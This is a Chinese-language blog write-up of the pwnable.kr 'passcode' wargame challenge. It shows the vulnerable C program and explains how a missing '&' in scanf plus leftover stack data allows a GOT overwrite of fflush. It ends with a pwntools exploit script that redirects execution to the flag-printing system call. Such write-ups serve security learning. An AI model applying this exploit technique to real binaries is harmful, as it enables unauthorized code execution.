zoukankan      html  css  js  c++  java
  • 【pwnable.kr】passcode

    pwnable从入门到放弃,第六题。

    ssh passcode@pwnable.kr -p2222 (pw:guest)

    完全是‘&’的锅。

    #include <stdio.h>
    #include <stdlib.h>
    
    void login(){
        int passcode1;
        int passcode2;
    
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
    
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
            scanf("%d", passcode2);
    
        printf("checking...
    ");
        if(passcode1==338150 && passcode2==13371337){
                    printf("Login OK!
    ");
                    system("/bin/cat flag");
            }
            else{
                    printf("Login Failed!
    ");
            exit(0);
            }
    }
    
    void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!
    ", name);
    }
    
    int main(){
        printf("Toddler's Secure Login System 1.0 beta.
    ");
    
        welcome();
        login();
    
        // something after login...
        printf("Now I can safely trust you that you have credential :)
    ");
        return 0;    
    }

    查看整个流程的业务逻辑,貌似没有什么问题,按照提示给出的编译时出现了warning,现尝试编译:

    发现,是在scanf函数时,缺少了一个&号,造成的结果是把passcode变量当做指针,对以passcode值寻址到的内存地址进行覆盖,如果passcode可以被控制,则可造成一个DWORD SHOOT。

    如何控制passcode?

    首先可以看到在welcome函数中有一个name变量,利用scanf进赋值,但这个赋值是安全的,限定了赋值的长度是100个字大小。

    并且,通过代码可以看到在执行了welcome函数后立即执行了login函数,中间没有压栈弹栈操作,也没有开alsr等保护,因此二者的ebp是相同的。而name数组长度是100,因此分配的栈块较大,并且passcode没有赋初值,

    可以以栈内脏数据的方式时强行赋予passcode初值(传说中的野指针?)。

    看一下长度,通过汇编代码看到name变量的起始地址为 EBP-0X70, passcode变量起始地址为EBP-0X10,相差0X60=96,恰巧还有4个字节用于覆盖passcode的值。

    再通过输入passcode的值,就可以成功进行DWORD SHOOT。

    由于在scanf后立即执行了flush函数,则可以精确覆盖GOT表中flush函数的入口地址,造成强行修改函数逻辑。

    通过objdump -R ./passcode命令,可以看到其入口点

    在利用gdb 查看system("/bin/cat flag"); 函数的地址,覆盖即可。

    使用python pwntools库,可以轻易完成这样的操作。

    在操作系统上只有/tmp文件夹是可以写的,因此将写好的脚本放入/tmp下运行即可。

    import struct
    import pwn
    import subprocess
    
    addr = 0x0804a004
    name = 'P'*96 + pwn.p32(addr) + str(0x80485e3)
    
    target = pwn.process('/home/passcode/passcode')
    
    #child = subprocess.Popen(args= ['/home/p4nda/Desktop/passcode',str(name)])
    target.send(name)
    target.interactive()

  • 相关阅读:
    关于vue2.x使用axios以及http-proxy-middleware代理处理跨域的问题
    vue-resource的使用
    从头开始开发一个vue幻灯片组件
    图与例解读Async/Await
    浅谈web缓存
    APICloud框架——总结一下最近开发APP遇到的一些问题 (三)
    编写现代 CSS 代码的 20 个建议
    仿微信联系人列表滑动字母索引
    初来乍到,向各位大牛虚心学习
    转发80端口的脚本
  • 原文地址:https://www.cnblogs.com/p4nda/p/7122094.html
Copyright © 2011-2022 走看看